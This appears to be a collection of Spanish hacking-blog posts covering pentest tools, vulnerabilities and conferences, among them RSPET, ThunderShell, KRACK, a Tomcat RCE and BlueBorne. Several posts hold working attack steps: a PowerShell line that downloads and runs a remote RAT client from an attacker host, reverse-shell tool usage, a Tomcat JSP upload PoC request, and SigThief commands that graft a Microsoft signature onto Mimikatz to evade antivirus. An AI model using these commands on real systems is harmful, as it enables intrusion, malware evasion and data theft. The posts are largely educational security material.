RSPET, una shell inversa que te ayudará en la post-explotación

RSPET (Reverse Shell and Post Exploitation Tool) es una shell inversa basada en Python y equipada con funcionalidades que ayudan en un escenario de post-explotación. Actualmente la incluyen las distros BlackArch Linux (desde 2016.04.28) y ArchStrike. Sus características actuales son:

- Ejecución remota de comandos
- Cifrado TLS de la comunicación cliente-servidor
- Transferencia de archivos/binarios (en ambos sentidos) sobre el tráfico cifrado enmascarado
- Herramienta de flooding UDP
- Herramienta de spooofing UDP: usa RAW_SOCKETS por lo que para utilizarla el cliente debe ejecutarse en un sistema operativo que los admita (la mayoría basados en Unix) y con privilegios de root. También hay que tener en cuenta que la mayoría de los ISP tienen implementaciones que eliminarán o reestructurarán los paquetes falsificados
- Administración de hosts; transferencias y flooding UDP desde varios o todos los hosts conectados
- Diseño de código modular para permitir una fácil personalización
- El script de cliente ha sido probado y es compatible con PyInstaller (se puede convertir en .exe)
- Soporte completo del plugins del lado del servidor (ver documentación online)
- Administración de plugins, incluida la capacidad de instalar (descargar) y cargar dinámicamente plugins.
- RESTful API para el módulo de servidor

Despliegue:

rspet_server.py se encuentra en la máquina del atacante y se ejecuta para aceptar conexiones
rspet_client.py se encuentra en la(s) máquina(s) infectada(s) e iniciará la conexión y esperará el input.

Buscando "Shadows Admins" en el DA con ACLight

ACLight de Asaf Hecht (@Hechtov) de CyberArk Labs es un script para la búsqueda avanzada de cuentas privilegiadas incluidos los llamados "Shadows Admins" o "Administradores en la Sombra", cuentas ocultas y privilegiadas que ignoran las organizaciones y que suponen un riesgo para toda la red. Se dice que estas cuentas están "ocultas" porque no son miembros de grupos privilegiados del DA, si no que han ganado sus privilegios a través de la asignación directa de permisos (usando ACLs sobre los objetos del DA).


Desde el punto de vista del atacante estas cuentas son muy "golosas" porque facilitan privilegios administrativos de manera casi desapercibida. Es decir, en vez de crear una nueva cuenta en el grupo "Domain Admins", es mucho más discreto usar un usuario existente y asignarle permisos directamente sin añadirle a ningún grupo.

ACLight ayuda a encontrar estos "Shadows Admins" consultando al Active Directory (AD) por las ACL de sus objetos y luego filtrando y analizando los permisos sensibles de cada uno. El resultado es una lista de cuentas privilegiadas de dominio en la red (desde la perspectiva avanzada de ACL del AD).

Además se puede ejecutar el escaneo con cualquier usuario normal (podría ser un usuario no privilegiado) y escanear automáticamente todos los dominios del bosque de la red auditada.

Su uso es muy sencillo:

Opción 1:
- doble clic en "Execute-ACLight.bat".

Opción 2:
- Abrir PowerShell (con el parámetro -ExecutionPolicy Bypass)
- Ir a la carpeta de "ACLight"
- “Import-Module '.\ACLight.psm1'”
- “Start-ACLsAnalysis”

Una vez ejecutado, encontraremos los siguientes archivos de resultados:

"Accounts with extra permissions.txt": es una lista directa e importante de las cuentas privilegiadas que se descubrieron en la red escaneada.
- "All entities with extra permissions.txt": el archivo enumera todas las entidades privilegiadas que se descubrieron, incluyendo no solo las cuentas de usuario sino también otras entidades "vacías" como grupos vacíos o cuentas antiguas.
- "Privileged Accounts Permissions - Final Report.csv": ieste es el informe de resumen final: en este archivo, encontraremos cuáles son los permisos sensibles exactos que tiene cada cuenta.
- "Privileged Accounts Permissions - Irregular Accounts.csv" : Similar al informe final pero solo las cuentas privilegiadas que tienen asignaciones directas de permisos de ACL (no a través de su membresía grupal).
- "[Domain name] - Full Output.csv" - ACLs en raw para cada dominio explorado.

Fuentes:
- Shadow Admins – The Stealthy Accounts That You Should Fear The Most
- Presentación en la conferencia InfoSecurity
- Repositorio Github: https://github.com/cyberark/ACLight

La lista de comprobaciones básica para programar de forma segura y evitar la mayoría de vulnerabilidades del TOP10 de OWASP

Recientemente veíamos una entrada en Digital Munition en el que se muestran diferentes malas prácticas en programación vistas en aplicaciones Java EE. Estas malas prácticas se derivan en vulnerabilidades comunes, muchas de ellas en el top 10 de OWASP. La siguiente tabla sintetiza las causas principales de estas vulnerabilidades con las técnicas de mitigación correspondientes, un imprescindible para el desarrollo seguro:

1. Autenticación

Prácticas inseguras Prácticas seguras
Concatenación de peticiones SQL para validación de login.

La concatenación de cadenas con los datos proporcionados por el usuario es siempre propensa a permitir ataques de inyección de SQL.


String username=request.getParameter(“username”);
String password=request.getParameter(“password”);
String query = “SELECT * FROM users WHERE username = “+username+” AND password=”+password;
Statement st = con. createStatement();
Results res = st.executeQuery(query);
Uso de peticiones parametrizadas o precompiladas.

Para evitar inyecciones SQL se recomienda el uso de sentencias preparadas y consultas parametrizadas.


String username=request.getParameter(“username”);
String password=request.getParameter(“password”);
String query = “SELECT * FROM users WHERE username =? ANDpassword=?“;
PreparedStatement ps = con.prepareStatement(query);
ps.setString(1, username);
ps.setString(2, password);
Results res = ps.executeQuery();
Falta de autenticación en el acceso a páginas/acciones internas.

Muchas veces, las aplicaciones no implementan autenticación para las páginas/acciones internas, lo que da como resultado el acceso a páginas/acciones internas sin iniciar sesión/una sesión válida.
Implementar código de autenticación en todas las páginas internas haciendo uso de variables de sesión

// Después de iniciar sesión con éxito. Establecer la identidad del usuario en una variable de sesión.
session.setAttribute(“username”, username);
// En cada solicitud, verificar si la identidad del usuario está presente en la sesión.
String username = (String)session.getAttribute(“username”);
if(username == NULL)){
response.sendRedirect(“ErrorPage.java”);
return; }
No restricción de los intentos fallidos de inicio de sesión.


Si la aplicación no restringe los intentos de inicio de sesión inválidos, permitirá que el usuario pueda hacer un ataque de fuerza bruta y comprometa otras cuentas de usuario.
Realizar un seguimiento y restringir los intentos fallidos de inicio

Mantener una lista de intentos fallidos de inicio de sesión por parte de un usuario.

Establecer un límite de umbral de intentos no válidos como por ej. a 5.

Bloquear temporalmente al usuario al superar el límite de umbral.

El protocolo WPA2 de Redes Wifi ha sido hackeado: KRACK (Key Reinstallation Attack)

El investigador Mathy Vanhoef de la Universidad KU de Leuven ha descubierto una manera de vulnerar el protocolo WPA2 de la redes Wifi (IEEE 802.11i), el más extendido y seguro por defecto, que puede derivar en el descifrado, duplicación e inyección de paquetes, el secuestro de conexiones TCP y/o la inyección de contenido HTTP en la red wifi sin necesidad de conocer la contraseña de la misma.

Dicho fallo de seguridad ha sido bautizado como KRACK (Key Reinstallation Attack) por el tipo de ataques realizados contra las redes WPA2.

Las vulnerabilidades descubiertas se encuentran en la etapa del Handshake de la Wifi, cuyos objetivos son el descubrimiento de red, la autenticación mutua entre cliente y router o punto de acceso (AP) y la negociación de las keys de sesión, y la selección de la suite y el algoritmo de cifrado de los data frames. Durante este proceso de intercambio de claves es posible lograr que los clientes reinstalen una clave ya intercambiada, que debería ser de un solo uso, permitiendo así reiniciar los parámetros asociados a la conexión, y esto se consigue forzando el reenvío de ciertos paquetes del Handshake por parte del AP.  Los ataques se producen debido a la reutilización de la misma clave con valores "Nonce" utilizados previamente en las comunicaciones entre cliente y AP, y de esta forma mensajes con contenidos conocidos son reenviados y se podrían descifrar al utilizar la misma clave.

Todas las redes Wifi WPA2 utilizan estos handshake por lo que todas están afectadas.

En este enlace se encuentra la presentación del mismo autor en la pasada Asia CCS sobre vulnerabilidades en el 4-way Handshake en Wifi WPA2 descubiertas con anterioridad y que han acabado llevando a KRACK: http://papers.mathyvanhoef.com/asiaccs2017-slides.pdf

La investigación sobre KRACK será presentada oficialmente este otoño en las conferencias Computer and Communications Security (CCS) y Black Hat Europe, aunque todo su trabajo se encuentra explicado en la siguiente página web: 
 

Impacto

El siguiente gráfico sacado del White Paper oficial en el que se presenta la vulnerabilidad resume el impacto de los Key Reinstallation Attack para todos los crifrados WPA2 (WPA-TKIP, AES-CCMP, y GCMP) usados en los distintos tipos de Handshake disponibles: 
- 4-way Handshake
- Fast BSS Transition (FT) handshake
- Group Key Handshake.

Lo que faltaba a tu arsenal de DoS... ¡llegan las bombas git!

Kate Murphy ha publicado un interesante repositorio al que podríamos llamar "bomba git" el cual es imposible clonar porque el proceso del Git quedará colgado hasta cerrarse o, peor, porque nos quedaremos sin memoria hasta incluso tener que reiniciar...

$ git clone https://github.com/Katee/git-bomb.git

Si navegais por el repositorio, os dareis cuenta de que está formado por sólo 12 objetos. Entonces, ¿cómo un repositorio tan pequeño hace que git se quede sin memoria? El secreto es que git desduplica "blobs" (que se utilizan para almacenar archivos) para hacer los repositorios más pequeños y permite el uso del mismo blob cuando un archivo permanece sin cambios entre commits; y lo mismo con objetos "árbol" o tree (que definen la estructura de directorios en un repositorio).
'git-bomb' trata de hacer mil millones de archivos, sin embargo, sólo tiene 10 referencias a la blob de archivos y sólo tiene 10 objetos de árbol en total.
Es muy parecido al ataque de "mil millones de risas" también llamado "bomba XML", de ahí el nombre de "bomba git".

Estructura

En la parte inferior hay un archivo de blob que contiene "one laugh":
$ git show 5faa3895522087022ba6fc9e64b02653bd7c4283
one laugh

Luego hay un objeto de árbol que se refiere a este blob 10 veces:
$ git ls-tree 6961ae061a9b89b91162c00d55425b39a19c9f90
100644 blob 5faa3895522087022ba6fc9e64b02653bd7c4283    f0
100644 blob 5faa3895522087022ba6fc9e64b02653bd7c4283    f1
# … snipped
100644 blob 5faa3895522087022ba6fc9e64b02653bd7c4283    f9

En el medio tendremos 9 capas de objetos de árbol que se refieren al objeto de árbol debajo de ellos (aquí está el objeto del árbol superior):
$ git ls-tree 106d3b1c00034193bbe91194eb8a90fc45006377
040000 tree 8d106ebc17b2de80acefd454825d394b9bc47fe6    d0
040000 tree 8d106ebc17b2de80acefd454825d394b9bc47fe6    d1
# … snipped
040000 tree 8d106ebc17b2de80acefd454825d394b9bc47fe6    d9

Finalmente la referencia maestra sólo apunta al objeto de árbol de la parte superior:
$ git log --pretty=format:"%s | tree: %T"
Create a git bomb | tree: 106d3b1c00034193bbe91194eb8a90fc45006377

Ejecución de comandos en Ms Word sin macros (DDE)

Hace un par de días en un post de Sensepost hablaban de un sencillo método para ejecutar comandos en MsWord sin necesidad de usar macros ni ninguna vulnerabilidad de corrupción de memoria...¿magia? No, se trata de DDE...

    "Windows proporciona varios métodos para transferir datos entre aplicaciones. Un método consiste en utilizar el protocolo Dynamic Data Exchange (DDE). El protocolo DDE es un conjunto de mensajes y directrices. Envía mensajes entre aplicaciones que comparten datos y utiliza memoria compartida para intercambiar datos entre aplicaciones. Las aplicaciones pueden utilizar el protocolo DDE para transferencias de datos únicas y para intercambios continuos en los que las aplicaciones envían actualizaciones entre sí a medida que se disponen de nuevos datos".

Usar el contexto DDE en Excel o en Word con propósitos maliciosos puede ser bastante útil porque evita el filtrado de macros de los gateways de correo y las políticas corporativas de VBA. Además, la investigación de Sensepost arroja que usar DDE en MSWord es tan sencillo como agregar un campo y hacer lo siguiente:

- Vamos a "Insertar", "Elementos rápidos", "Campo":



- Elegimos "= (Formula)" y Ok:


** Cómo método alternativo simplemente podemos añadir un campo pulsando CTRL+F9

WINspect: un script en PowerShell para la auditoría de Windows

WINspect del francés Amine Mehdaoui aka A-mIn3 es un script en PowerShell v2.0 que, según reza en el README de su repositorio en Github, forma parte de un proyecto más grande para auditar diferentes áreas de entornos de Windows. Se centra en enumerar diferentes partes de una máquina Windows para identificar debilidades de seguridad y apunta a los componentes que necesitan una fortificación adicional.

Características

La versión actual de WINspect admite las siguientes características:

- Comprobación de los productos de seguridad instalados.
- Comprobación de la "secuestrabilidad" de las DLL (en el contexto de seguridad de los Usuarios autenticados).
- Comprobación de la configuración del Control de cuentas de usuario (UAC).
- Comprobación de restos de instalaciones desatendidas.
- Enumeración de partes del sistema local de archivos expuestos al mundo.
- Enumeración de usuarios y grupos de dominio con pertenencia a grupos locales.
- Enumeración de autorun de registro.
- Enumeración de servicios locales configurables por los miembros del grupo Usuarios autenticados.
- Enumeración de servicios locales para los cuales el binario correspondiente es escribible por los miembros del grupo Usuarios autenticados.
- Enumeración de  Windows Hosted Services no pertenecientes a system32 y sus DLL asociadas.
- Enumeración de servicios locales con rutas sin entrecomillar (path unquoted).
- Enumeración de tareas no programadas del sistema.

Lista TODO

- Controles de políticas de seguridad local.
- Config de parches administrativos.
- DLL cargadas.
- Conexiones establecidas/escuchando.
- Scripts de GPO expuestos.

Secuestrando una estación de radio FM con tan sólo una Raspberry Pi

Una de las bondades de las Raspberry Pi (en adelante RPi) es la capacidad de transmitir una señal de radio FM usando uno de los pines análogicos de la GPIO. Muchos hackers y fabricantes lo utilizan para la construcción de transmisores FM de corto alcance, e incluso se podría utilizar para televisión de barrido lento (Slow ScanTV, SSTV), un método de transmisión de imágenes utilizado principalmente por radioaficionados para transmitir y recibir imágenes estáticas, en blanco y negro o en color a través de la radio.

Todo lo que necesitamos es una RPi, un trozo de alambre para una antena y un poco de software.
Si bien esto se utiliza principalmente para proyectos digamos "honestos", también puede ser utilizado para fines más nefastos. WONDERHOWTO ilustra esto en un artículo bien detallado sobre cómo se puede utilizar las capacidades de transmisión FM de un RPi para secuestrar una estación de radio. Esto se conoce como "intrusión de señal de difusión", y funciona básicamente sobrepoderando la señal de una estación existente. La infame transmisión de Max Headroom que ocurrió en Chicago, Illinois en 1987 es probablemente el ejemplo más conocido de la intrusión de señales de transmisión.

Para lograr esto con una RPi, realmente sólo necesitamos un trozo de cable de unos pocos metros de largo para actuar como antena, algo de software y, opcionalmente, un dongle RTL-SDR. Todo lo que tenemos que hacer es crear un archivo de audio WAV y transmitirlo. Si la antena es lo suficientemente buena y el objetivo está lo suficientemente cerca, superará la señal de la frecuencia que está transmitiendo. Esta técnica se puede utilizar para denegar al objetivo la información que se está transmitiendo en esa frecuencia, o incluso a inyectar sin problemas información propia para engañar a los mismos. Por supuesto, esto es ilegal... ;)

Fuente: https://blog.hackster.io/hijack-fm-radio-with-a-raspberry-pi-f31f41a205f2

Las resacas de Navaja Negra #nn7ed

Llámalo condescendencia o milagro, o quizás se han alineado los astros, pero este año (y por fín) como hidalgo que cabalga a La Mancha he podido escaparme a la séptima conferencia de Navaja Negra, 5 y 7 de octubre de 2017, ¡volví a Al3acete!

Edificio José Prat, paraninfo de la UCLM de Albacete, con capacidad para 720 pax.
Para ésta mi pequeña crónica, no voy a hacer una caracterización de cada una de las charlas y talleres puesto que el formato de la conferencia y la carencia del don de la bilocación no lo permiten. Es decir, no pudimos disfrutar de todo porque se trataba de tracks muchos simultáneos repartidos entre las charlas del paraninfo y talleres en algunas de las aulas de la UCLM de Albacete. De esta manera digamos que cada uno ha de ir balontado y escribiendo su propia "aventura" de Navaja Negra. Si además añadimos el CTF tipo Jeopardy de Ka0labs nos adentramos en una auténtica encrucijada de difíciles elecciones casi cada hora. ¿Charla, taller o CTF?

En el CTF se podía participar en remoto o presencialmente pero sólo los que lo hacían de esta última forma podían optar a los premios. En mi opinión hubiese estado mejor hacerlo una semana antes, en formato abierto online y que los que optaran a los premios lo hicieran si iban a asistir al congreso, por ejemplo introduciendo algún código generado durante la compra del ticket. De esta manera los participantes del CTF tendrían la opción de asistir también a las charlas y/o los talleres durante el evento y recogerían igualmente su premio en la ceremonia de clausura correspondiente. Anyway, los que participaron salieron bastante contentos y al primer puesto volvió a ser para Patatas.

"La razón de la sinrazón que a mi razón se hace, de tal manera mi razón enflaquece, que con razón me quejo de la vuestra fermosura".

FLARE VM, distribución Windows para diseccionar malware

A muchos de nosotros seguramente nos habrá llegado alguna vez algún email con archivos adjuntos que olían a chamusquina o nos ha saltado alguna web intentando descargar alguna clase de ejecutable que olía peor que un calcetín sudado, una gran parte de estos, seguramente borraron el email con el adjunto factura_del_gas.exe con su icono de un pdf y cerraron la web que te descargaba la imagen de Ramona en paños menores (también en formato .exe, para no variar), pero muchos otros tuvieron el valor de descargarlos, ya sea con la intención de ver a Ramona o pagar la factura, o para analizar dichos binarios en busca de algo sospechoso que huele de lejos, también llamado malware.

Para analizar cualquier archivo sospechoso es muy recomendado hacerlo siempre desde una máquina virtual emulando un sistema víctima para así poder observar el comportamiento de ese malware en el entorno virtualizando, a pesar de que alguna clase de malware sea capaz de detectar su ejecución en una maquina virtual (comúnmente por procesos creado por el software de virtualización) y alterar su comportamiento para pasar desapercibido, esto no suele ser lo más común pero podría ocurrir, aún así los análisis se deben realizar en un entorno virtualizado para así también evitar que el sistema anfitrión se vea afectado por alguna de las pruebas como un análisis dinámico.

También necesitaremos para el análisis del malware diversas herramientas como desensambladores, decompiladores, software para la monitorización, debuggers... Como ya bien sabrá cualquier aficionado al reversing y al análisis de malware.

Pues gracias a FLARE VM podremos olvidarnos de tirar nuestro preciado tiempo configurando e instalando herramientas para analizar malware, ya que esta herramienta creada por la gente de FireEye se encargará de descargarnos un montón de herramientas dedicadas al análisis de malware, reversing, análisis forense...

FLARE VM es una especie de máquina virtual que se basa en Windows 7 o superior y que se encargará de armar nuestro laboratorio para el análisis de malware principalmente con herramientas para el debugging, desensamblado, decompiladores, herramientas para el análisis estático y dinámico, análisis y manipulación de red, análisis web, explotación, análisis de vulnerabilidades en aplicaciones...

Vulnerabilidad RCE en Tomcat (CVE-2017-12617): HTTP PUT + bypass jsp upload

El equipo de Apache Tomcat anunció que todas las versiones de Tomcat anteriores a la 9.0.1 (Beta), 8.5.23, 8.0.47 y 7.0.82 en todos los sistemas operativos contienen una vulnerabilidad de ejecución remota de código (RCE) si el servlet por defecto y/o el servlet WebDAV se configura con el parámetro readonly a false.

Para comprobar si un servidor es vulnerable sólo hay que chequear el init-param en el fichero web.xml correspondiente:
    <init-param>
        <param-name>readonly</param-name>
        <param-value>false</param-value>
    </init-param>

Con esta configuración es posible que cualquier usuario NO autenticado pueda subir archivos (HTTP PUT), como decía Alejandro Ramos una "Reproducción de vulnerabilidades de los 90". Si bien el gran problema es que el filtro que impide la subida de JavaServer Pages (.jsp) se puede bypassear. Es decir, se puede subir un JSP y a continuación se puede ejecutar en el servidor.

El pasado 20 de septiembre se publicó una PoC en Tomcat Bugtracker y, aunque la mayoría de sistemas no tienen esta config por defecto, conviene parchear anyway:
PUT /1.jsp/ HTTP/1.1
Host: 192.168.3.103:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://192.168.3.103:8080/examples/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8,zh-CN;q=0.6,zh;q=0.4,zh-TW;q=0.2
Cookie: JSESSIONID=A27674F21B3308B4D893205FD2E2BF94
Connection: close
Content-Length: 26

<% out.println("hello");%>

Exploits publicados:
- https://github.com/cyberheartmi9/CVE-2017-12617

Fuente: https://www.alphabot.com/security/blog/2017/java/Apache-Tomcat-RCE-CVE-2017-12617.html

dcrawl: un web crawler multihilo y multidominio

Seguimos aumentando nuestro arsenal, esta vez con un web crawler escrito en go, llamado dcrawl, que es sencillo pero a la vez inteligente, que soporta múltiples hilos para el descubrimiento de enormes listas de nombres de dominio únicos.

dcrawl toma una URL de una web como entrada y detecta todos los enlaces en el cuerpo (body) del sitio. Cada enlace encontrado se añade a la cola. Sucesivamente, cada enlace encolado se rastrea de la misma manera, ramificando en múltiples URLs según se vayan encontrando.


Cómo funciona el crawling o rastreo inteligente:
  • Ramificación limitada por un número predefinido de enlaces por cada hostname único.
  • Número máximo de nombres de host diferentes permitidos por dominio (evita subdominios que se rastreen hasta el “infierno” como por ejemplo, blogspot.com).
  • Se puede reiniciar con la misma lista de dominios - los últimos dominios guardados se agregan a la cola de URL.
  • Rastrea solo los sitios que devuelven text/html en el Content-Type de las respuestas a HEAD.
  • Recupera el cuerpo del sitio con un tamaño máximo de 1MB.
  • No guarda los dominios inaccesibles.

VHostScan: herramienta para enumerar virtual hosts

Ya sabéis que los Virtual Hosts nos permiten servir diferentes sitios usando la misma IP. El servidor web identifica qué contenido debe servir en base a la cabecera Host que reciba del cliente y, por lo general, también tiene un contenido predeterminado por si la cabecera Host no coincide con ninguno de los hosts virtuales. Para sitios con HTTPS, se utiliza la indicación de nombre de servidor (SNI) porque el handshake del certificado se produce antes de que se envíen las cabeceras.

VHostScan es una herramienta de enumeración de virtual hosts que se puede utilizar con herramientas de pivoting, detectar escenarios de captura (catch-all), alias y páginas predeterminadas dinámicas. Su autor es el pentester autraliano codingo (autor de NoSQLMap entre otras) que la presentó por primera vez en la SecTalks BNE en septiembre de 2017 (slidedeck).

Entre sus características destaca:

- detecta rápidamente contenido único en escenarios catch-all
- localiza valores atípicos en escenarios catch-all donde los resultados tienen contenido dinámico en la página (como el tiempo)
- identifica aliases ajustando la profundidad única de los distintos matches
- admite listas de palabras estándar y una variable para introducir un nombre de host base (por ejemplo, el dev.%s de la lista de palabras se ejecutaría como dev.BASE_HOST)
- funciona sobre HTTP y HTTPS
- tiene capacidad para establecer el puerto real del servidor web para utilizar en los encabezados al pivotar a través de ssh/nc
- agrega cabeceras de respuesta simples para omitir algunos productos WAF

Echando una firma digital a Mimikatz (o a cualquier ejecutable) para bypassear antivirus

Desde las Altas Tierras nos llegaba un telegrama curioso con un tweet de subTee en el que decía estampar la firma digital de Microsoft en el ejecutable de Mimikatz. ¿Y para qué? Pues aunque parezca mentira me pongo colorada todavía hoy en día muchos antivirus se pasan por el forro de la indetección aquellos ejecutables (PE) que estén firmados digitalmente por, digamos, autoridades de certificación de renombre como M$ (tito Gates approved), y lo más importante, independientemente si la firma es válida o no, es decir, sólo comprueban que la certTable tiene algún valor.

La herramienta que "traslada" la firma digital de un ejecutable a otro es SigThief de Josh Pitts aka secretsquirrel:
$ git clone https://github.com/secretsquirrel/SigThief.git

Su sintaxis es muy sencilla:
Usage: sigthief.py [options]

Options:
  -h, --help            show this help message and exit
  -i FILE, --file=FILE  file still signature from
  -r, --rip             rip signature off inputfile
  -a, --add             add signautre to targetfile
  -o OUTPUTFILE, --output=OUTPUTFILE
                        output file
  -s SIGFILE, --sig=SIGFILE
                        binary signature from disk
  -t TARGETFILE, --target=TARGETFILE
                        file to append signature too
  -c, --checksig        file to check if signed; does not verify signature
  -T, --truncate        truncate signature (i.e. remove sig)

Para ver un poco su uso, copiaremos la firma del ejecutable de Güindous 'consent.exe' al ejecutable 'mimikatz.exe'.

Primero echamos un vistazo al binario original:


Luego usamos SigThief para copiar su firma al ejecutable de Mimikatz:
$ cd SigThief
$ python sigthief.py -i ./pruebas/consent.exe -t ./pruebas/mimikatz.exe -o /tmp/mimikatz_firmado.exe 
Output file: /tmp/mimikatz_firmado.exe 
Signature appended. 
FIN.

Material de la DerbyCon 7.0 Legacy

Cortesía de Irongeek, ya tenemos disponibles los vídeos de la séptima edición de la conferencia DerbyCon que tuvo lugar los días 20 a 24 de septiembre en Kentucky. Otra buena oportunidad para aprender y disfrutar de muchas charlas, algunas tremendamente interesantes:

Keynotes y demás





Track 1









Reverse Shell: herramienta en PowerShell para crear shells reversas y actualizarlas a meterpreter

Muchas veces necesitamos más que una simple consola de texto TTY para continuar decentemente con la post-explotación, dónde una sesión de meterpreter es mucho más adecuada. Para facilitar eso, ReverseShell es un sencillo script en PowerShell con el que 1/ facilitamos el proceso de crear una shell reversa (o inversa, como la queráis llamar) con diferentes payloads dependiendo del intérprete que soporte el servidor (python, bash, perl, java, php o ruby) y 2/ automatizamos la actualización a Meterpreter.

Su sintaxis es muy sencilla:

 ./shell-reverse.ps1 -Lhost 10.10.10.1 -Lport 4444 -payload -web -metasploit

- payload: python, python3, bash, perl, php, ruby, java
- web: codificar el payload para URL (encoder)
- metasploit: inicia Metasploit y lo deja esperando sesión para actualizarla a Meterpreter

Demo:

Github: https://github.com/Hackplayers/ReverseShell/

Contribución gracias a Luis Vacas (@CyberVaca)

Detectando la arquitectura en Windows con ensamblador mediante registros de segmentación

Un viejo pero efectivo truco para detectar la arquitectura de un sistema es usar los registros de segmento CS, un método que usaba también el malware Kronos:
xor   eax,eax   
mov   ax,cs    
shr   eax,5    

En base a ésto, un cazador de bugs como Osanda Malith Jayathissa (@OsandaMalith) ha expuesto en su blog otras formas de obtener la arquitectura mediante los registros de segmento ES, GS y FS:

Usando ES
; Author : @OsandaMalith
main:
        xor eax,eax
        mov ax,es
        ror ax, 0x3
        and eax,0x1
        test eax, eax
        je thirtytwo
        invoke MessageBox,0, 'You are Running 64-bit', 'Architecture', MB_OK + MB_ICONINFORMATION
        jmp exit

thirtytwo:
        invoke MessageBox,0, 'You are Running 32-bit', 'Architecture', MB_OK + MB_ICONINFORMATION

exit:
        invoke ExitProcess, 0  

Usando GS
; Author : @OsandaMalith
main:
        xor eax, eax
        mov eax, gs
        test eax, eax
        je thirtytwo
        invoke MessageBox,0, 'You are Running 64-bit', 'Architecture', MB_OK + MB_ICONINFORMATION
        jmp exit

thirtytwo:
        invoke MessageBox,0, 'You are Running 32-bit', 'Architecture', MB_OK + MB_ICONINFORMATION

exit:
        invoke ExitProcess, 0

.end main     

Usando TEB

También podemos usar TEB (Win32 Thread Information Block) + 0xc0 la cuál es ‘WOW32Reserved’.

PoCs de BlueBorne

Una de las vulnerabilidades seguramente más impactantes de todo el año es BlueBorne. Descubierta por la empresa Armis, se trata de un conjunto de ocho exploits que permiten vulnerar prácticamente cualquier dispositivo Bluetooth y sin necesidad de que esté pareado con el atacante o que haya cualquier otra interacción... es decir, millones y millones de dispositivos están en serio riesgo sólo por tener activado Bluetooth. La única opción es instalar las últimas actualizaciones y lo antes posible.

Según los investigadores de Armis, "esta vulnerabilidad reside en el servicio Bluetooth Network Encapsulation Protocol (BNEP), que permite compartir Internet a través de una conexión Bluetooth (tethering). Debido a un fallo en el servicio de BNEP, un hacker puede desencadenar una corrupción de memoria "quirúrgica", que es fácil de explotar y permite ejecutar código en el dispositivo, otorgándole un control completo".

Además, cuando se tiene acceso al dispositivo es posible transmitir datos desde el dispositivo haciendo un MiTM. "La vulnerabilidad reside en el perfil PAN de la pila Bluetooth y permite al atacante crear una interfaz de red maliciosa en el dispositivo de la víctima, volver a configurar el enrutamiento IP y obligar al dispositivo a transmitir toda la comunicación a través de la interfaz de red malintencionada. Este ataque no requiere ninguna interacción del usuario, autenticación o emparejamiento, haciéndolo prácticamente invisible".

Para más información os recomiendo que echéis un vistazo al paper de Armis.

Las vulnerabilidades han sido bautizadas con los siguientes CVEs:
•    CVE-2017-0781 CVE-2017-0782, CVE-2017-0783 y CVE-2017-0785 para dispositivos Android.
•    CVE-2017-1000251 y CVE-2017-1000250 para Linux
•    CVE-2017-8628 en Windows.

Los vídeos con la PoC las demos son impresionantes pero el código del exploit, que es lo que todo el mundo anda buscando xD, todavía no está disponible. No obstante, todo parece indicar que es cuestión de tiempo y ya empiezan a surgir otras PoC independiente bastante interesantes. En este post intentaré ir publicando todas las pruebas con cada una de ellas que vaya surgiendo:

Descubriendo dispositivos Bluetooth cercanos (PyBluez)

# python
Python 2.7.13 (default, Jan 19 2017, 14:48:08) 
[GCC 6.3.0 20170118] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import bluetooth
>>> 
>>> nearby_devices = bluetooth.discover_devices()
>>> nearby_devices
['50:8F:XX:XX:XX:XX', 'C0:D9:YY:YY:YY:YY']

ThunderShell: un RAT en Powershell

ThunderShell de Mr-Un1k0d3r es un RAT en Powershell que se basa en el uso de peticiones HTTP para la comunicación con el C&C.

Todo el tráfico de red se cifra utilizando una segunda capa de RC4 para evitar la interceptación SSL y anular cualquier sonda IDS/IPS o elemento de seguridad perimetral en la red.

DEPENDENCIAS
apt install redis-server
apt install python-redis

INSTALACIÓN SERVIDOR                                              
# git clone https://github.com/Mr-Un1k0d3r/ThunderShell.git 
# cd ThunderShell

Para que la víctima se conecte con el servidor del atacante deberá ejecutar el cliente (PS-RemoteShell.ps1). Lo más rápido es dejarlo accesible en Internet y usar el método DownloadString para descargar el contenido y ejecutarlo en memoria (fileless), como veremos más adelante.

En la PoC lo serviremos mismamente con un sencillo servidor con Python:
# mkdir WEB
# mv PS-RemoteShell.ps1 WEB/
# cd WEB/
# python -m SimpleHTTPServer 12346 &

A continuación modificaremos el fichero de configuración (default.json) indicando los puertos e IPs del servidor redis y http donde escuchará el servidor:
{
        "redis-host": "localhost",
        "redis-port": 6379,

        "http-host": "X.X.23.32",
        "http-port": 8080,
        "http-server": "Microsoft-IIS/7.5",

        "https-enabled": "off",
        "https-cert-path": "cert.pem",

        "encryption-key": "test",
        "max-output-timeout": 5
}

Y lo lanzaremos simplemente con:
root@atacante:~/ThunderShell# python ThunderShell.py default.json 

Thunder Shell 1.1 | Clients Server CLI
Mr.Un1k0d3r RingZer0 Team 2017
--------------------------------------------------------

[+] Starting web server on X.X.23.32 port 8080
                 
CONEXIÓN DEL CLIENTE

Ahora, en el PC de la víctima deberemos ejecutar:
powershell -exec bypass IEX (New-Object Net.WebClient).DownloadString('http://X.X.23.32:12346/PS-RemoteShell.ps1'); PS-RemoteShell -ip  X.X.23.32 -port 8080 -Key test -Delay 2000

Como veis utilizamos también el parámetro 'bypass' para evadir las políticas de ejecución de scripts.

Si es necesario, también podríamos modificar el payload según las defensas que encontremos en el equipo atacado. Por ejemplo, los administradores pueden bloquear PowerShell y otros intérpretes basados en una extensión, comúnmente .ps1. Para saltar esta restricción podríamos usar Get-Content para acceder al script en malware con extensión .ps2 y pasarla a Invoke-Expression (iex) para su ejecución:
powershell.exe –ep Bypass “& {Get-Content .\malware.ps2 | iex}

Metodología para bug bounties v2 de @jhaddix

Jason Haddix (@jhaddix) es un californiano que durante el 2014 y 2015 fue número 1 de los cazadores de bugs de Bugcrowd y actualmente está liderando la parte de seguridad y confianza de la compañía. Tal bagaje es para tener en cuenta, sobretodo cuando comparte una útil y valiosa metodología para bug bounties.

Su primera versión se basa en la charla de la Defcon 23 "How to shot Web: better hacking in 2015" y recientemente y con motivo de la primera Virtual Hacking Conference de Bugcrowd (LevelUp) ha publicado la segunda versión que, de seguro, será una guía a revisar e incluso un referente para muchos pentesters y “bug hunters”:

